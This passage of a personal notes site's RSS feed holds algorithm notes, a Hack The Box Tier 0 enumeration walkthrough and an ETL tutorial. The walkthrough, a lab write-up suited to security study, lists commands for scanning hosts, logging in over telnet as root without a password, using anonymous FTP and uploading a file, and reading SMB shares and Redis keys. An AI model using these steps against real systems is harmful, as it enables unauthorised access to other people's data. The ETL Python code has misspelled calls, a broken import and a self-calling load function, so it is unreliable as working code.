<p>If we need to find some common <strong>substring</strong> among a set of strings, we will be using a <strong>HashMap</strong> or a <strong>Trie</strong>.</p>
</li>
<li>
<p>If we need to <strong>search/manipulate</strong> a bunch of strings, <strong>Trie</strong> will be the best data structures.</p>
</li>
<li>
<p>If the problem is related to a <strong>LinkedList</strong> and we can&rsquo;t use extra space, then use the <strong>Fast &amp; Slow Pointer</strong> approach.</p>
</li>
</ol>
<h2 id="reference">Reference</h2>
<ul>
<li><a href="https://dev.to/arslan_ah/20-essential-coding-patterns-to-ace-your-next-coding-interview-32a3">https://dev.to/arslan_ah/20-essential-coding-patterns-to-ace-your-next-coding-interview-32a3</a></li>
<li><a href="https://pll.harvard.edu/course/cs50-introduction-computer-science">https://pll.harvard.edu/course/cs50-introduction-computer-science</a></li>
<li><a href="https://www.toptal.com/developers/sorting-algorithms">https://www.toptal.com/developers/sorting-algorithms</a></li>
<li><a href="https://www.linkedin.com/pulse/time-complexity-vs-space-sumaiya-rimu/">https://www.linkedin.com/pulse/time-complexity-vs-space-sumaiya-rimu/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Data Structure and Algorithms 201</title>
      <link>https://sagarchamling.com/notes/dsa-201/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://sagarchamling.com/notes/dsa-201/</guid>
      <description>Data Structure and Algorithms Notes</description>
      <content:encoded><![CDATA[<h2 id="greedy-algorithms">greedy algorithms</h2>
<ul>
<li>the simplest algorithms that exist, and they often seem to be a very natural thing to try when you&rsquo;re solving a problem.</li>
<li>subproblem is a similar problem of smaller size.</li>
<li>greedy choice is a safe choice if there is an optimal solution consistent with this first choice.</li>
</ul>
<h3 id="ingredients">ingredients</h3>
<h4 id="reduction-to-subproblem">reduction to subproblem</h4>
<ul>
<li>make some first choice</li>
<li>then solve a problem of the same kind</li>
<li>smaller: few digits, fewer patients</li>
<li>this is called a &lsquo;subproblem&rsquo;</li>
</ul>
<h4 id="safe-choice">safe choice</h4>
<ul>
<li>a choice called safe if there is an optimal solution consistent with this first choice.</li>
<li>not all first choices are safe.</li>
<li>greedy choices are often unsafe.</li>
</ul>
<h3 id="general-strategy">general strategy</h3>
<ul>
<li>make a greedy choice</li>
<li>prove that it is a safe choice.</li>
<li>reduce to a subproblem</li>
<li>solve the subproblem</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">          greedy choice
</span></span><span class="line"><span class="cl">Problem -------------------------&gt; Safe Choice
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Enumeration to detect misconfigurations</title>
      <link>https://sagarchamling.com/notes/enumeration-to-detect-misconfigurations/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://sagarchamling.com/notes/enumeration-to-detect-misconfigurations/</guid>
      <description>Key notes about Enumeration and Hack The Box Tier 0 Challenges</description>
      <content:encoded><![CDATA[<h2 id="basics">Basics</h2>
<p>When first starting a penetration test or any security evaluation on a target, a primary step is known as <strong>Enumeration</strong> which involves scanning of the open ports.</p>
<h3 id="tools">Tools</h3>
<h4 id="ping---packet-internet-or-internet-groper"><code>ping</code> - Packet Internet or InterNet Groper</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ping &lt;target-ip-addr&gt; -c <span class="m">4</span>
</span></span></code></pre></div><h4 id="nmap---network-mapper"><code>nmap</code> - Network Mapper</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo nmap -p- &lt;target-ip-addr&gt; <span class="c1"># Scan all ports, takes longer.</span>
</span></span><span class="line"><span class="cl">sudo nmap -sV &lt;target-ip-addr&gt; <span class="c1"># Name and description of identified services.</span>
</span></span></code></pre></div><h3 id="showmount---mount-info-for-nfs-server"><code>showmount</code> - mount info for NFS server</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">showmount -e &lt;target-ip-addr&gt;
</span></span><span class="line"><span class="cl">/SomeDir <span class="o">(</span>everyone<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">sudo mkdir nfs
</span></span><span class="line"><span class="cl">sudo mount -t nfs &lt;target-ip-addr&gt;/SomeDir nfs
</span></span></code></pre></div><h3 id="hash-id---hash-identifier"><code>hash-id</code> - Hash Identifier</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">hash-id -h &lt;hash&gt;
</span></span><span class="line"><span class="cl">hash-id -f &lt;file-name-path&gt;
</span></span></code></pre></div><h3 id="smbmap---smb-share-drives"><code>smbmap</code> - SMB share drives</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">smbmap -H &lt;target-ip-addr&gt; -u <span class="s1">&#39;user&#39;</span> -p <span class="s1">&#39;pass&#39;</span>
</span></span></code></pre></div><h3 id="enum4linux---windows-and-samba-system"><code>enum4linux</code> - Windows and Samba system</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">enum4linux &lt;target-windows-ip-addr&gt;
</span></span></code></pre></div><h3 id="netdiscover---ip-addresses-on-the-network"><code>netdiscover</code> - IP addresses on the network</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">netdiscover -r &lt;network-addr&gt;/&lt;cidr&gt;
</span></span></code></pre></div><h3 id="netcat--whatweb--curl--dmitry---banner-grabbing"><code>netcat</code> / <code>whatweb</code> / <code>curl</code> / <code>dmitry</code> - Banner Grabbing</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">netcat &lt;target-ip-addr&gt; &lt;port&gt;
</span></span><span class="line"><span class="cl"><span class="m">220</span> <span class="o">(</span>vsFTPd 2.3.4<span class="o">)</span> <span class="c1"># FTP</span>
</span></span><span class="line"><span class="cl">quit
</span></span><span class="line"><span class="cl"><span class="m">221</span> Goodbye
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">whatweb http://&lt;target-ip-addr&gt;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">dmitry -p &lt;target-ip-addr&gt; <span class="c1"># -p port scan on 150 most used services</span>
</span></span><span class="line"><span class="cl">dmitry -pb &lt;target-ip-addr&gt; <span class="c1"># -b switch version of the program running.</span>
</span></span></code></pre></div><h4 id="port-numbers">Port numbers</h4>
<table>
<thead>
<tr>
<th><strong>Number</strong></th>
<th><strong>Assignment</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>20</td>
<td>File Transfer Protocol (FTP) Data Transfer</td>
</tr>
<tr>
<td>21</td>
<td>File Transfer Protocol (FTP) Command Control</td>
</tr>
<tr>
<td>22</td>
<td>Secure Shell (SSH) Secure Login</td>
</tr>
<tr>
<td>23</td>
<td>Telnet remote login service, unencrypted text messages</td>
</tr>
<tr>
<td>25</td>
<td>Simple Mail Transfer Protocol (SMTP) email delivery</td>
</tr>
<tr>
<td>53</td>
<td>Domain Name System (DNS) service</td>
</tr>
<tr>
<td>67, 68</td>
<td>Dynamic Host Configuration Protocol (DHCP)</td>
</tr>
<tr>
<td>80</td>
<td>Hypertext Transfer Protocol (HTTP) used in the World Wide Web</td>
</tr>
<tr>
<td>110</td>
<td>Post Office Protocol (POP3)</td>
</tr>
<tr>
<td>119</td>
<td>Network News Transfer Protocol (NNTP)</td>
</tr>
<tr>
<td>123</td>
<td>Network Time Protocol (NTP)</td>
</tr>
<tr>
<td>143</td>
<td>Internet Message Access Protocol (IMAP) Management of digital mail</td>
</tr>
<tr>
<td>161</td>
<td>Simple Network Management Protocol (SNMP)</td>
</tr>
<tr>
<td>194</td>
<td>Internet Relay Chat (IRC)</td>
</tr>
<tr>
<td>443</td>
<td>HTTP Secure (HTTPS) HTTP over TLS/SSL</td>
</tr>
<tr>
<td>546, 547</td>
<td>DHCPv6 IPv6 version of DHCP</td>
</tr>
<tr>
<td>6379</td>
<td>Redis</td>
</tr>
</tbody>
</table>
<h2 id="challenges">Challenges</h2>
<h3 id="telnetport-23tcp-linux-telnetd">telnet(port 23/tcp Linux telnetd)</h3>
<p>Telnet is an old service used for remote management of other hosts on the network. Usually, connection requests through telnet are configured with username/password combinations for increased security.</p>
<blockquote>
<p>Note: Due to configuration mistakes, some important accounts can be left with blank passwords for the sake of accessibility. Some typical important accounts have self-explanatory names, such as: <code>admin</code>, <code>administrator</code> and <code>root</code> leaving open to simple brute-forcing attacks.</p>
</blockquote>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ telnet <span class="o">{</span>target-ip-addr<span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Meow login: root
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">cat flag.txt
</span></span></code></pre></div><h3 id="ftpport-21tcp-vsftpd-303">FTP(port 21/tcp vsftpd 3.0.3)</h3>
<p>File transfer services that may have high chances to be poorly configured, it can be easily misconfigured if not correctly understood. For secure transmission that protects the username and password and encrypts the content, FTP is often secured with SSL/TLS (FTPS) or replaced with SSH File Transfer Protocol (SFTP).</p>
<blockquote>
<p>Note: FTP users may authenticate themselves with a clear-text sign-in protocol, generally in the form of a username and password. A typical misconfiguration for running FTP services allows the <code>anonymous</code> username, followed by any password whatsoever since the service will disregard the password for this specific account.</p>
</blockquote>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ ftp <span class="o">{</span>target-ip-addr<span class="o">}</span>
</span></span><span class="line"><span class="cl">Name: anonymous
</span></span><span class="line"><span class="cl"><span class="m">331</span> Please specify the password.
</span></span><span class="line"><span class="cl">Password: anon123
</span></span><span class="line"><span class="cl">ftp&gt; ls
</span></span><span class="line"><span class="cl"><span class="m">200</span> : PORT <span class="nb">command</span> successful. Consider using PASV.
</span></span><span class="line"><span class="cl"><span class="m">150</span> : Here comes the directory listing.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="m">226</span> : Directory send OK.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">&gt; get flag.txt <span class="c1"># Download the file to the same directory.</span>
</span></span><span class="line"><span class="cl"><span class="m">226</span> : Transfer complete.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">&gt; bye
</span></span><span class="line"><span class="cl"><span class="m">421</span> Timeout
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Other options: Make sure from are in right path where the file exists.</span>
</span></span><span class="line"><span class="cl">&gt; put exploit.php <span class="c1"># Upload a file</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">&gt; mdelete exploit.php <span class="c1"># Delete a file</span>
</span></span></code></pre></div><h3 id="smb445tcp-microsoft-ds">SMB(445/tcp microsoft-ds?)</h3>
<p>SMB (Server Message Block) is communication protocol provides shared access to files, printers, and serial ports between endpoints on a network. We mostly see SMB services running on Windows machines. SMB runs at the Application or Presentation layers of the OSI model. Due to this, it
relies on lower-level protocols for transport. The Transport layer protocol that Microsoft SMB Protocol is most often used with is NetBIOS over TCP/IP (NBT).</p>
<blockquote>
<p>Note. An SMB-enabled storage on the network is called a share . SMB clients are required to provide a username/password combination to see or interact with the contents of the SMB share. A network administrator can sometimes make mistakes and accidentally allow logins without any valid credentials or using either <code>guest_accounts</code> or <code>anonymous</code> log-ons.</p>
</blockquote>
<p>Four separate shares:</p>
<ul>
<li><code>ADMIN$</code> - Administrative shares are hidden network shares created by the Windows NT family of operating systems that allow system administrators to have remote access to every disk volume on a network-connected system. These shares may not be permanently deleted but may be disabled.</li>
<li><code>C$</code> - Administrative share for the C:\ disk volume. This is where the operating system is hosted.</li>
<li><code>IPC$</code> - The inter-process communication share. Used for inter-process communication via named pipes and is not part of the file system.</li>
<li><code>WorkShares</code> - Custom share.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ smbclient -L <span class="o">{</span>target-ip-addr<span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">$ smbclient <span class="se">\\\\</span><span class="o">{</span>target-ip-addr<span class="o">}</span><span class="se">\\</span>ADMIN$
</span></span><span class="line"><span class="cl">    or
</span></span><span class="line"><span class="cl">$ smbclient <span class="se">\\\\</span><span class="o">{</span>target-ip-addr<span class="o">}</span><span class="se">\\</span>C$
</span></span><span class="line"><span class="cl">NT_STATUS_ACCESS_DENIED
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Seems to be human made, prone to misconfiguration.</span>
</span></span><span class="line"><span class="cl">$ smbclient <span class="se">\\\\</span><span class="o">{</span>target-ip-addr<span class="o">}</span><span class="se">\\</span>WorkShares
</span></span><span class="line"><span class="cl">smb: <span class="se">\&gt;</span>
</span></span></code></pre></div><pre tabindex="0"><code>ls : listing contents of the directories within the share
cd : changing current directories within the share
get : downloading the contents of the directories within the share
exit : exiting the smb shell
</code></pre><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Passing username and password.</span>
</span></span><span class="line"><span class="cl">$ smbclient -U <span class="s1">&#39;user&#39;</span> <span class="se">\\\\</span><span class="o">{</span>target-ip-addr<span class="o">}</span><span class="se">\\</span>Administrator
</span></span></code></pre></div><h3 id="redis6379tcp-key-value-store-507">Redis(6379/tcp key-value store 5.0.7)</h3>
<p>Redis (<strong>RE</strong>mote <strong>DI</strong>ctionary <strong>S</strong>erver), which is an &lsquo;in-memory&rsquo; database are the ones that rely essentially on the primary memory for data storage (meaning that the database is managed in the RAM of the system); in contrast to databases that store data on the disk or SSDs. Primary memory is significantly faster than the secondary memory, the data retrieval time in the case of &lsquo;in-memory&rsquo; databases is very small, thus offering very efficient &amp; minimal response times.</p>
<blockquote>
<p>Note: In-memory databases like Redis are typically used to cache data that is frequently requested for quick retrieval. The <code>Keyspace</code> section provides statistics on the main dictionary of each database. The statistics include the number of keys, and the number of keys with an expiration.</p>
</blockquote>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ redis-cli -h <span class="o">{</span>target-ip-addr<span class="o">}</span>
</span></span><span class="line"><span class="cl">&gt; info
</span></span><span class="line"><span class="cl"><span class="c1"># Keyspace</span>
</span></span><span class="line"><span class="cl">db0:keys<span class="o">=</span><span class="m">4</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">&gt; <span class="k">select</span> <span class="m">0</span> <span class="c1"># Select Redis logical database followed by index number.</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">&gt; keys * <span class="c1"># List all the keys present.</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">&gt; get flag
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ redis-cli -h <span class="o">{</span>target-ip-addr<span class="o">}</span>
</span></span><span class="line"><span class="cl">&gt; AUTH &lt;passkey&gt;
</span></span></code></pre></div><h2 id="source">Source</h2>
<ul>
<li><a href="https://www.hackthebox.com/">Hack The Box</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Extract, Transform and Load (ETL) 101</title>
      <link>https://sagarchamling.com/notes/etl-101/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://sagarchamling.com/notes/etl-101/</guid>
      <description>Understanding the concept of Data Engineering</description>
      <content:encoded><![CDATA[<h2 id="concepts">Concepts</h2>
<p>
  
  <input type="checkbox" id="zoomCheck-6dae8" hidden />
  <label for="zoomCheck-6dae8">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/batch-processing.webp"
      alt="Batch Processing"
       />
  </label>
</p>
<ul>
<li><strong>Batch processing</strong> collection of data from multiple sources and combined to become a single source of information.</li>
<li>a type of batch processing called <strong>Extract, Transform and Load (ETL)</strong></li>
<li>the process of extracting large amounts of data from multiple sources and formats and transforming it into <strong>one specific format</strong> before loading it into a database or target file.</li>
</ul>
<h2 id="block-diagram-of-etl">Block Diagram of ETL</h2>
<p>
  
  <input type="checkbox" id="zoomCheck-29b5b" hidden />
  <label for="zoomCheck-29b5b">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/block-diagram-etl.webp"
      alt="Block Diagram of ETL"
       />
  </label>
</p>
<h3 id="extraction">Extraction</h3>
<h4 id="python-composite-functions">Python Composite Functions</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-py" data-lang="py"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">glob</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">pandas</span> <span class="k">as</span> <span class="nn">pd</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">list_csv</span> <span class="o">=</span> <span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="s2">&#34;*.csv&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">list_json</span> <span class="o">=</span> <span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="s2">&#34;*.json&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">df_csv</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">read_csv</span><span class="p">(</span><span class="s2">&#34;source.csv&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">df_json</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">read_json</span><span class="p">(</span><span class="s2">&#34;source.json&#34;</span><span class="p">,</span> <span class="n">lines</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span></code></pre></div><h4 id="extract-function">Extract Function</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-py" data-lang="py"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">extract</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="n">extracted_data</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">DataFrame</span><span class="p">(</span><span class="n">columns</span><span class="o">=</span><span class="p">[</span><span class="s1">&#39;name&#39;</span><span class="p">,</span> <span class="s1">&#39;height&#39;</span><span class="p">,</span> <span class="s1">&#39;weight&#39;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">csvfile</span> <span class="ow">in</span> <span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="s1">&#39;*.csv&#39;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">extracted_data</span> <span class="o">=</span> <span class="n">extracted_data</span><span class="o">.</span><span class="n">append</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="n">pd</span><span class="o">.</span><span class="n">read_csv</span><span class="p">((</span><span class="n">csvfile</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">            <span class="n">ignore_index</span><span class="o">=</span><span class="kc">True</span>
</span></span><span class="line"><span class="cl">        <span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">jsonfile</span> <span class="ow">in</span> <span class="n">glob</span><span class="o">.</span><span class="n">glb</span><span class="p">(</span><span class="s2">&#34;*.json&#34;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">extracted_data</span> <span class="o">=</span> <span class="n">extracted_data</span><span class="o">.</span><span class="n">append</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="n">pd</span><span class="o">.</span><span class="n">read_json</span><span class="p">(</span><span class="n">jsonfile</span><span class="p">,</span> <span class="n">lines</span><span class="o">=</span><span class="kc">True</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">            <span class="n">ignore_index</span><span class="o">=</span><span class="kc">True</span>
</span></span><span class="line"><span class="cl">        <span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">extracted_data</span>
</span></span></code></pre></div><blockquote>
<p>If we did not set the parameter “ignore_index” to true, then the index of the data frame “extracted_data” would be the same as the row Number of the original file.</p>
</blockquote>
<blockquote>
<p>If we “ignore index” to true, then the order of each row would be the same as the order the row was appended to the data frame.</p>
</blockquote>
<h3 id="transform">Transform</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-py" data-lang="py"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">transform</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">data</span><span class="p">[</span><span class="s1">&#39;height&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nb">round</span><span class="p">(</span><span class="n">data</span><span class="o">.</span><span class="n">height</span> <span class="o">*</span> <span class="mf">0.0254</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">data</span><span class="p">[</span><span class="s1">&#39;weight&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nb">round</span><span class="p">(</span><span class="n">data</span><span class="o">.</span><span class="n">weight</span> <span class="o">*</span> <span class="mf">0.45359237</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">data</span>
</span></span></code></pre></div><h3 id="load">Load</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-py" data-lang="py"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">load</span><span class="p">(</span><span class="n">targetfile</span><span class="p">,</span> <span class="n">data_to_laod</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">data_to_load</span><span class="o">.</span><span class="n">to_csv</span><span class="p">(</span><span class="n">targetfile</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">targetfile</span> <span class="o">=</span> <span class="s1">&#39;transformed_data.csv&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="n">load</span><span class="p">(</span><span class="n">targetfile</span><span class="p">,</span> <span class="n">transformed_data</span><span class="p">)</span>
</span></span></code></pre></div><h3 id="logging-entries">Logging Entries</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-py" data-lang="py"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">datatime</span> <span class="kn">from</span> <span class="nn">datetime</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">log</span><span class="p">(</span><span class="n">message</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">timestamp_format</span> <span class="o">=</span> <span class="s2">&#34;%Y-%h-</span><span class="si">%d</span><span class="s2">-%H:%M:%S&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">now</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">timestamp</span> <span class="o">=</span> <span class="n">now</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="n">timestamp_format</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;logfile.txt&#34;</span><span class="p">,</span> <span class="s2">&#34;a&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">f</span><span class="o">.</span><span class="n">write</span> <span class="p">(</span><span class="n">timestamp</span> <span class="o">+</span> <span class="s1">&#39;,&#39;</span> <span class="o">+</span> <span class="n">message</span> <span class="o">+</span> <span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span></code></pre></div><h2 id="hands-on-project">Hands-on Project</h2>
<p>The complex Extract, Transform, and Loading operations involves following steps:</p>
<ul>
<li>Extract relevant information from websites using Webscraping and requests API.</li>
<li>Transform the data to a required format.</li>
<li>Load the processed data to a local file or as a database table.</li>
<li>Query the database table using Python.</li>
<li>Create detailed logs of all operations conducted.</li>
</ul>
<h3 id="solutions">Solutions</h3>
<h4 id="top-countries-gdp---etl-processhttpsgithubcomcham11ngmisctreemainpythoncoursedata-engineeringgdp"><a href="https://github.com/cham11ng/misc/tree/main/python/course/data-engineering/gdp">Top Countries GDP - ETL Process</a></h4>


  
    
    <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-py" data-lang="py"><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34;Module: Code for ETL operations on Country-GDP data&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sqlite3</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">pandas</span> <span class="k">as</span> <span class="nn">pd</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bs4</span> <span class="kn">import</span> <span class="n">BeautifulSoup</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&#34;clear&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">WIKIPEDIA_GDP_URL</span> <span class="o">=</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;https://web.archive.org/web/20230902185326/https://en.wikipedia.org/wiki/List_of_countries_by_GDP_%28nominal%29&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">TABLE_ATTRIBUTES</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;Country&#34;</span><span class="p">,</span> <span class="s2">&#34;GDP_USD_millions&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">DB_NAME</span> <span class="o">=</span> <span class="s2">&#34;world_economies.db&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">TABLE_NAME</span> <span class="o">=</span> <span class="s2">&#34;countries_by_gdp&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">CSV_PATH</span> <span class="o">=</span> <span class="s2">&#34;countries_by_gdp.csv&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">extract</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">table_attributes</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    This function extracts the required
</span></span></span><span class="line"><span class="cl"><span class="s2">    information from the website and saves it to a dataframe. The
</span></span></span><span class="line"><span class="cl"><span class="s2">    function returns the dataframe for further processing.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">page_output</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">html_soup</span> <span class="o">=</span> <span class="n">BeautifulSoup</span><span class="p">(</span><span class="n">page_output</span><span class="o">.</span><span class="n">text</span><span class="p">,</span> <span class="s2">&#34;html.parser&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">gdp_df</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">DataFrame</span><span class="p">(</span><span class="n">columns</span><span class="o">=</span><span class="n">table_attributes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">tables</span> <span class="o">=</span> <span class="n">html_soup</span><span class="o">.</span><span class="n">find_all</span><span class="p">(</span><span class="s2">&#34;tbody&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">rows</span> <span class="o">=</span> <span class="n">tables</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">.</span><span class="n">find_all</span><span class="p">(</span><span class="s2">&#34;tr&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">rows</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">data</span> <span class="o">=</span> <span class="n">row</span><span class="o">.</span><span class="n">find_all</span><span class="p">(</span><span class="s2">&#34;td&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
